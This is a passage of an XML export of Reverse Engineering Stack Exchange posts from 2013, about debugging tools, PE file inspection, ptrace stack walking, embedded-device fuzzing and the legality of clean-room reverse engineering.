  <row Id="1604" PostTypeId="2" ParentId="298" CreationDate="2013-04-05T12:58:06.363" Score="2" Body="&lt;p&gt;My guess is that the protocol is standard, using a non standard protocol between two devices involves using bitbanging which is not very useful.&#xA;Let's assume then that the protocol is standard.&#xA;It's not SPI, SPI needs 4 lines To work. I2C needs two, RS232 needs only two.&#xA;I don't know what the third line job is, maybe it's used for trigerring/synchronization between the chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What now ? I would open the data sheet of the microcontroller and see what protocols the chips supports, usually if they are new 32bit SOC, they all support CAN, SPI, USART, etc.&#xA;Then I would check the pinout of the corresponding lines, to see to which ports they are connected on the chip. This will point you to the exact protocol used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then connect a logic analyzer, such as this &lt;a href=&quot;http://www.saleae.com/logic/&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt;, which is bundled with a software that can dumo the data transfered acordding to the protocol.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2013-04-05T12:58:06.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostTypeId="2" ParentId="1603" CreationDate="2013-04-05T13:00:52.730" Score="4" Body="&lt;p&gt;Is this something You looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tuts4you.com/download.php?view.3307&quot; rel=&quot;nofollow&quot;&gt;Win32api and x86 Opcodes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-05T13:00:52.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1606" PostTypeId="2" ParentId="1603" CreationDate="2013-04-05T13:13:13.210" Score="7" Body="&lt;p&gt;If you are using OllyDbg 1.x, you could use the &lt;a href=&quot;http://blog.buguroo.com/?p=4071&amp;amp;lang=en&quot; rel=&quot;noreferrer&quot;&gt;MSDN Help Plugin&lt;/a&gt; which simply looks up the requested API call on MSDN. It works for me on my Windows XP sp3 system with OllyDbg 1.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this requires internet connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another incomplete option that &lt;em&gt;may&lt;/em&gt; work is to obtain the Windows 7 SDK and be sure to install the &quot;Documentation / Win32 and COM&quot; sub feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then copy all the *.HXS files from the SDK install folder. Then the only task left is to find a way to convert *.HXS files into a single *.HLP file....not sure if that's possible or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, the &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope&quot; rel=&quot;noreferrer&quot;&gt;IDA Scope&lt;/a&gt; plugin (for IDA Pro) recommends this in their &lt;a href=&quot;http://pnx-tf.blogspot.com/2012/07/idascope-update-winapi-browsing.html&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt; for integrating offline MSDN help. Except their instructions have the user extract the HXS files to a folder and point IDA Scope to it where IDA Scope knows how to read/parse the files extracted from the HXS files. The HXS files can be deleted after extracting.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2013-04-05T13:57:59.683" LastActivityDate="2013-04-05T13:57:59.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1607" PostTypeId="5" CreationDate="2013-04-05T13:47:18.863" Score="0" Body="&lt;p&gt;The &lt;strong&gt;Windows API&lt;/strong&gt; is Microsoft's set of application programming interfaces.  With them, you can do cool stuff like adding and removing user accounts, shutting down the system, and creating and managing windows on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Windows_API&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;Windows API&lt;/strong&gt;, informally &lt;strong&gt;WinAPI&lt;/strong&gt;, is Microsoft's core set of application programming interfaces (APIs) available in the Microsoft Windows operating systems. The name Windows API collectively refers to a number of different platform implementations that are often referred to by their own names (for example, &lt;strong&gt;Win32 API&lt;/strong&gt;). Almost all Windows programs interact with the Windows API; on the Windows NT line of operating systems, a small number (such as programs started early in the Windows startup process) use the Native API.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-05T14:24:32.363" LastActivityDate="2013-04-05T14:24:32.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1608" PostTypeId="4" CreationDate="2013-04-05T13:47:18.863" Score="0" Body="Microsoft's application programming interfaces available in the Windows operating system." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-05T14:24:02.207" LastActivityDate="2013-04-05T14:24:02.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostTypeId="2" ParentId="1597" CreationDate="2013-04-05T13:52:37.193" Score="12" Body="&lt;p&gt;They are some tools can be useful in reversing p-code binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;vb-decompiler lite (free ver)&lt;/strong&gt;: very good decompiler can be download from &lt;a href=&quot;http://www.vb-decompiler.org/&quot;&gt;vb-decompiler official site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P32Dasm&lt;/strong&gt;: another p-code decompiler &lt;a href=&quot;http://progress-tools.x10.mx/p32dasm.html&quot;&gt;see here&lt;/a&gt;&#xA;and see below of page how they debug p-code with IDA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WKTVBDE&lt;/strong&gt;: p-code debugger, I don't work with it but good to try, to download search tuts4you.com site&lt;/p&gt;&#xA;" OwnerUserId="1483" LastEditorUserId="1483" LastEditDate="2013-04-05T13:58:15.030" LastActivityDate="2013-04-05T13:58:15.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1610" PostTypeId="2" ParentId="1594" CreationDate="2013-04-05T13:54:15.527" Score="10" Body="&lt;p&gt;If you have a jailbroken iDevice, &lt;a href=&quot;https://appsec-labs.com/iNalyzer&quot;&gt;AppSec Labs' iNalyzer&lt;/a&gt; can automate some of this process for you as well as provide you with a great way to review an iOS application.adding the appropriate repo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install iNalyzer from Cydia after &lt;a href=&quot;https://appsec-labs.com/Cydia_explained&quot;&gt;adding the appropriate repo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, it's easiest to work with the iNalyzer created project files (that you will copy from your iDevice after running iNalyzer) from a Linux machine because the tool will require doxygen and Graphviz Dot to be installed to create it's HTML report.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AppSec Labs iNalyzer is a framework for manipulating iOS applications,&#xA;  tampering with parameters and methods; no sources needed! AppSec Labs&#xA;  iNalyzer targets closed applications, turning a painful Black Box into&#xA;  an automatic Gray-Box effort.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;AppSec Labs iNalyzer Automates your testing effort as it exposes the&#xA;  internal logic of your target iOS application and the correlation&#xA;  between hidden functionalities. The AppSec Labs iNalyzer allows you to&#xA;  use your daily web-based pen-testing tools such as scanners, proxies&#xA;  etc. AppSec Labs iNalyzer maintains the attack logic and forwards it&#xA;  onto the targeted iOS application. No more manual BruteForce, Fuzzing,&#xA;  SQL injection and other tedious manual work!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-04-05T13:54:15.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1611" PostTypeId="2" ParentId="1603" CreationDate="2013-04-05T14:11:05.573" Score="4" Body="&lt;p&gt;I'd recommend installing the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms717422.aspx&quot; rel=&quot;nofollow&quot;&gt;Windows SDK&lt;/a&gt; documentation and the &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=11800&quot; rel=&quot;nofollow&quot;&gt;Driver Development Kit&lt;/a&gt; if you don't have them already. It might seem like overkill but it's extremely helpful to have both of these documentation kits locally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A word of caution when installing the Windows SDK documentation. Microsoft removed dexplore.exe (viewer) in the Windows 7 2010 SDK update. It now relies on the default browser and the documentation has to be pre-configured and downloaded. The new viewing option feels much slower than dexplorer.exe. I have the Windows XP SDK and the Windows 7 SDK documentation installed because I prefer dexplorer.exe&lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-04-05T14:11:05.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostTypeId="1" AcceptedAnswerId="1613" CreationDate="2013-04-05T14:55:52.963" Score="7" ViewCount="435" Body="&lt;p&gt;I'm adding a feature to my Linux debugger (I'm using Ptrace to manipulate the traced process as well as libbfd/libopcodes) to unwind the stack and determine if discrepancies exist between each CALL's allocated stack space and a statically derived local variable size, printing the address and local stack size of each frame along the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My general methodology is to take the address in the base pointer (EBP/RBP), increment the pointer to should should contain the stored frame pointer, dereference that address, examine it with PTRACE_PEEKDATA and repeat until I dereference an address occupying an area outside the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to check code/data segment registers, but ideally I'd like a method to check if I'm still inside the callstack even if the segmentation has been changed by W^X memory pages or an otherwise nonexecutable stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, how can I check (in the general case) when I've moved outside the stack without triggering a general protection fault?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As as aside, I realize I'm operating on the assumption that checking an address's page segment is the ideal methodology here -- perhaps another simpler method exists to determine if an address is within the current process's stack space)&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="60" LastEditDate="2013-06-11T12:50:12.380" LastActivityDate="2013-06-11T12:50:12.380" Title="How can I check I've moved outside the stack without triggering a protection fault?" Tags="|debuggers|linux|x86|callstack|segmentation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostTypeId="2" ParentId="1612" CreationDate="2013-04-05T16:16:49.410" Score="9" Body="&lt;p&gt;So, it is totally untested but here is the result of a few Internet browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the stack base address is present in &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt;, then it must be accessible from user-space at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the code of the &lt;a href=&quot;http://www.linuxcommand.org/man_pages/pstack1.html&quot;&gt;pstack&lt;/a&gt; command which is printing the content of the stack of a running process. This code is getting the base address from a &lt;code&gt;link_map&lt;/code&gt; structure and store it inside the field &lt;code&gt;l_addr&lt;/code&gt;. This field is set inside the function &lt;code&gt;readLinkMap()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void readLinkMap(int pid, ElfN_Addr base, struct link_map *lm, &#xA;                        char *name, unsigned int namelen)&#xA;{&#xA;  /* base address */&#xA;  lm-&amp;gt;l_addr = (ElfN_Addr) ptrace(PTRACE_PEEKDATA, pid,&#xA;                                  base + offsetof(struct link_map,l_addr), 0);&#xA;  /* next element of link map chain */&#xA;  if (-1 != (long) lm-&amp;gt;l_addr || !errno)&#xA;    lm-&amp;gt;l_next = (struct link_map *) ptrace(PTRACE_PEEKDATA, pid,&#xA;                                            base + offsetof(struct link_map, l_next), 0);&#xA;  if ((-1 == (long) lm-&amp;gt;l_addr || -1 == (long) lm-&amp;gt;l_next) &amp;amp;&amp;amp; errno) {&#xA;    perror(&quot;ptrace&quot;);&#xA;    quit(&quot;can't read target.&quot;);&#xA;  }&#xA;&#xA;  loadString(pid, base + offsetof(struct link_map, l_name), name, namelen);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess this is the right way to go. So, I would advise you to take a look at the code of the &lt;code&gt;pstack&lt;/code&gt; command (the file is not very long) and to get inspiration from it because it does something extremely similar to what you want (at least if I understand what you said correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this short note will help you a bit.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-05T16:54:18.760" LastActivityDate="2013-04-05T16:54:18.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1614" PostTypeId="1" AcceptedAnswerId="1619" CreationDate="2013-04-05T17:54:15.087" Score="20" ViewCount="7775" Body="&lt;p&gt;How can I quickly tell if a EXE or DLL I have is managed code or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent some time recently trying to disassemble a file and then later learned through some traces in the code that I could have skipped all that work and just used ILspy. How can I avoid repeating that experience in the future?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="151" LastEditDate="2013-04-05T23:52:39.090" LastActivityDate="2023-12-31T08:40:04.580" Title="Determining if a file is managed code or not" Tags="|windows|tools|dll|pe|" AnswerCount="10" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1615" PostTypeId="2" ParentId="1614" CreationDate="2013-04-05T17:59:53.780" Score="4" Body="&lt;p&gt;The fastest heuristic method I found so far was to check whether it imports &lt;code&gt;mscoree.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the version resource of &lt;code&gt;mscoree.dll&lt;/code&gt; Microsoft calls it: &lt;em&gt;Microsoft .NET Runtime Execution Engine&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-05T17:59:53.780" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1616" PostTypeId="2" ParentId="1614" CreationDate="2013-04-05T18:01:01.240" Score="6" Body="&lt;p&gt;Try opening it in ILSpy first. It should tell you if the assembly isn't managed.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-04-05T18:01:01.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostTypeId="1" AcceptedAnswerId="1778" CreationDate="2013-04-05T19:45:11.907" Score="18" ViewCount="5673" Body="&lt;p&gt;I'm researching into intercepting queries that arrive at the SQL Server 2008 process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQLOS architecture is divided in the following system DLLs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;sqlmin.dll&lt;/strong&gt;: Storage, replication, security features,etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sqllang.dll&lt;/strong&gt;: TransactSQL query execution engine, expression evaluation, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sqldk.dll&lt;/strong&gt;: Task scheduling and dispatch, worked thread creation, message loops, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;SQLSERVR&lt;/em&gt; service process instances the SQLOS components through &lt;em&gt;sqlboot.dll&lt;/em&gt; and &lt;em&gt;sqldk.dll&lt;/em&gt;, and the worker threads receive queries through the selected connection method in the server (TCP/IP, local shared memory or named-pipes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've debugged the sqlservr.exe process address space searching for textual queries. It seems that query strings are readable, but I could not find a point where queries can be intercepted while they enter the SQLOS scheduler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listening to pipes or TCP/IP is not an option at this moment; I would like to inject at a higher level, preferably at SQLOS-component level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on where to start looking into? &lt;/p&gt;&#xA;" OwnerUserId="1585" LastEditorUserId="151" LastEditDate="2013-04-06T17:43:11.230" LastActivityDate="2021-12-22T05:38:47.080" Title="Server-side Query interception with MS SQL Server" Tags="|windows|dll|mssql|" AnswerCount="4" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1618" PostTypeId="2" ParentId="1592" CreationDate="2013-04-05T20:04:00.943" Score="7" Body="&lt;p&gt;Peach is excellent at fuzzing smaller embedded systems.  The configuration and detection is the big difference for embedded systems.  This tends to change device to device, but one of my most used tools is the Cana Kit Relay Controller (&lt;a href=&quot;http://www.canakit.com/4-port-usb-relay-controller.html&quot;&gt;http://www.canakit.com/4-port-usb-relay-controller.html&lt;/a&gt;).  Peach has a monitor module that is able to trigger the relays.  I use this to turn devices on/off, or simulate a USB cable being plugged in/out, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you need to handle detection.  This will differ widely between device.  Sometimes you can use JTAG, other times I have hooked up photo sensors to read LED's with the help of a small board such as the Teensy.  With networked devices, usually a ping is a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage with Peach is adding a module to detect faults or perform device resets is easy if you have some basic coding experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setup correctly you should be able to perform long term device fuzzing.  This means the fuzzer is able to restart the device when a fault is identified or the device is unresponsive, and able to detect failure states that could be interesting to further research.&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2013-04-05T20:04:00.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1619" PostTypeId="2" ParentId="1614" CreationDate="2013-04-05T20:29:54.603" Score="14" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;A managed DLL / Application will have a primary dependency on MSCOREE.dll... So, if you open the DLL in Dependency Walker you have&#xA;no problems in telling a managed library from an unmanaged one.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    http://www.dependencywalker.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Quoted from &lt;a href=&quot;http://forums.codeguru.com/showthread.php?424454-Check-if-DLL-is-managed-or-not&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Other useful MSDN links:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/jmstall/how-to-tell-if-a-function-is-managed-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to tell if a function is managed code?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20160202125049/http://blogs.msdn.com:80/b/kstanton/archive/2004/03/31/105060.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exploring pe file headers using managed code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="13506" LastEditDate="2021-04-22T11:52:09.540" LastActivityDate="2021-04-22T11:52:09.540" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1620" PostTypeId="2" ParentId="1614" CreationDate="2013-04-05T20:38:14.397" Score="27" Body="&lt;p&gt;Check the dword at offset 0xE8 (32-bit) or 0xF8 (64-bit) in the PE header.  If it's non-zero, it's the pointer to the CLR header.  That's a managed file (you can't put random data there because direct .NET parsing support is built into XP and later, so the file won't load if the data aren't valid).  The presence of mscoree.dll is not enough in itself, because the application might be doing things with managed files but not be managed itself.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2014-05-14T15:47:01.290" LastActivityDate="2014-05-14T15:47:01.290" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostTypeId="2" ParentId="1614" CreationDate="2013-04-05T23:44:20.723" Score="13" Body="&lt;p&gt;Checking &lt;code&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress&lt;/code&gt; in the data directory portion of the PE header for a nonzero value is probably the fastest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305.aspx&quot;&gt;&lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; structure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.simple-talk.com/blogs/2011/03/15/anatomy-of-a-net-assembly-pe-headers/&quot;&gt;Anatomy of a .NET Assembly – PE Headers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2013-04-07T01:20:39.817" LastActivityDate="2013-04-07T01:20:39.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1622" PostTypeId="2" ParentId="1566" CreationDate="2013-04-06T00:48:26.347" Score="4" Body="&lt;p&gt;[Below applies to U.S. only]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how well it would work now, but it did work back in the 80s and 90s. For example, Phoenix used this approach to make a clone of IBM's ROM BIOS. &lt;a href=&quot;http://en.wikipedia.org/wiki/Phoenix_Technologies#Cloning_the_IBM_PC_BIOS&quot; rel=&quot;nofollow&quot;&gt;From Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to the nature of low-level programming two well-written pieces of&#xA;  code that perform the same function there will inevitably be some&#xA;  degree of similarity. As such it would be impossible for Phoenix to&#xA;  defend itself on the grounds that no part of its BIOS matched IBM's.&#xA;  Phoenix developed a &quot;clean room&quot; technique that isolated the engineers&#xA;  who had been contaminated by reading the IBM source listings in the&#xA;  IBM Technical Reference Manuals. The contaminated engineers wrote&#xA;  specifications for the BIOS APIs and provided the specifications to&#xA;  &quot;clean&quot; engineers who had not been exposed to IBM BIOS source code.&#xA;  Those &quot;clean&quot; engineers developed code from scratch to mimic the BIOS&#xA;  APIs. This technique provided Phoenix with a defensibly non-infringing&#xA;  IBM PC-compatible ROM BIOS. Because the programmers who wrote the&#xA;  Phoenix code had never read IBM's reference manuals, nothing they&#xA;  wrote could have been copied from IBM's code, no matter how closely&#xA;  the two matched.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Phoenix did sell their BIOS commercially, so it seems to fit your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that one was helped by IBM's publishing the ROM listings in the programming manual, but it seems to be a defensible approach even if you have to &lt;em&gt;disassemble&lt;/em&gt; the binary code, as happened in &lt;a href=&quot;http://en.wikipedia.org/wiki/Sony_Computer_Entertainment,_Inc._v._Connectix_Corporation&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Sony Computer Entertainment, Inc. v. Connectix Corporation&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Connectix's successful appeal maintained that the direct disassembly and observation of proprietary code was necessary because there was no other way to determine its behavior. From the ruling:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some works are closer to the core of intended copyright protection&#xA;  than others. Sony's BIOS lay at a distance from the core because it&#xA;  contains unprotected aspects that cannot be examined without copying.&#xA;  The court of appeal therefore accorded it a lower degree of protection&#xA;  than more traditional literary works.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Still, it's not a protection against being sued as you can see. Connectix has won the appeal, but they eventually sold the product to Sony (who immediately discontinued it) and the company closed down three years later.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-06T00:48:26.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1623" PostTypeId="5" CreationDate="2013-04-06T01:48:42.560" Score="0" Body="&lt;p&gt;&lt;strong&gt;File formats&lt;/strong&gt; are simply ways to encode data.  You can recognize them usually from their filename extensions; for example, a file with the extension &lt;code&gt;.html&lt;/code&gt; is probably a HTML document and a file with the extension &lt;code&gt;.gif&lt;/code&gt; is probably a GIF image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Reverse Engineering, the &lt;a href=&quot;/questions/tagged/file-format&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;file-format&amp;#39;&quot; rel=&quot;tag&quot;&gt;file-format&lt;/a&gt; tag is used for questions about determining the file format of a given file as well as questions about reverse engineering certain file formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/File_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;strong&gt;file format&lt;/strong&gt; is a standard way that information is encoded for storage in a computer file. A file format specifies how bits are used to encode information in a digital storage medium. File formats may be either proprietary or free and may be either unpublished or open.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some file formats are designed for very particular types of data: PNG files, for example, store bitmapped images using lossless data compression. Other file formats, however, are designed for storage of several different types of data: the Ogg format can act as a container for different types of multimedia, including any combination of audio and video, with or without text (such as subtitles), and metadata. A text file can contain any stream of characters, including possible control characters, and is encoded in one of various character encoding schemes. Some file formats, such as HTML, scalable vector graphics, and the source code of computer software are text files with defined syntaxes that allow them to be used for specific purposes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1560/where-to-find-information-about-a-file-format&quot;&gt;Where to find information about a file format?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1331/automated-tools-for-file-format-reverse-engineering&quot;&gt;Automated tools for file format reverse engineering?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/261/how-to-reverse-engineer-a-proprietary-data-file-format-e-g-smartboard-notebook&quot;&gt;How to reverse engineer a proprietary data file format (e.g. Smartboard Notebook)?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="151" LastEditorUserId="3371" LastEditDate="2017-08-27T20:58:29.387" LastActivityDate="2017-08-27T20:58:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostTypeId="4" CreationDate="2013-04-06T01:48:42.560" Score="0" Body="File format refers to the way information and data is encoded and stored in a computer file." OwnerUserId="1315" LastEditorUserId="1315" LastEditDate="2013-04-12T00:10:00.100" LastActivityDate="2013-04-12T00:10:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1625" PostTypeId="2" ParentId="1592" CreationDate="2013-04-06T08:28:15.020" Score="2" Body="&lt;p&gt;You seem to be on the right track. As @Michael Eddington pointed out Peach is excellent at fuzzing embedded systems (not just to smaller simple ones in my experience). I have similar experience using it with a variety of methods to check if the device is still alive such as a simple ICMP message if it's networked, JTAG responses, or just a change in serial output when doing for example secure boot glitching. More advanced would be looking at for example a change in the power profile to detect a successful attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding fault injection you can extract some ideas regarding setups by reading papers from conferences like &lt;a href=&quot;http://conferenze.dei.polimi.it/FDTC13/&quot; rel=&quot;nofollow&quot;&gt;FDTC&lt;/a&gt;, &lt;a href=&quot;http://cosade.org/&quot; rel=&quot;nofollow&quot;&gt;Cosade&lt;/a&gt; and the like.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-06T08:28:15.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1626" PostTypeId="2" ParentId="1560" CreationDate="2013-04-06T10:36:31.173" Score="3" Body="&lt;p&gt;About multimedia formats: &lt;a href=&quot;http://wiki.multimedia.cx/index.php?title=Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://wiki.multimedia.cx/index.php?title=Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signsrch will find patterns in a file: &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow&quot;&gt;http://aluigi.altervista.org/mytoolz.htm&lt;/a&gt;, like binwalk: &lt;a href=&quot;http://code.google.com/p/binwalk/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/binwalk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1602" LastEditorDisplayName="user187" LastEditDate="2013-04-06T17:43:54.280" LastActivityDate="2013-04-06T17:43:54.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1627" PostTypeId="2" ParentId="1568" CreationDate="2013-04-06T12:52:33.697" Score="3" Body="&lt;p&gt;The way to do it is using web scraping techniques. Using sniffers and proxies is overkill if you can access the web page/resource with a browser. In this case you only need to automate what the user does within the browser and using tools like &lt;a href=&quot;https://developers.google.com/chrome-developer-tools/&quot; rel=&quot;nofollow&quot;&gt;Chrome Developer Tools&lt;/a&gt; for inspecting the HTML and AJAX connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written several articles on this subject if you want to take a look:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.databigbang.com/google-search-no-api/&quot; rel=&quot;nofollow&quot;&gt;Google Search NoAPI&lt;/a&gt; (automating Google searches)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.databigbang.com/automated-browserless-oauth-authentication-for-twitter/&quot; 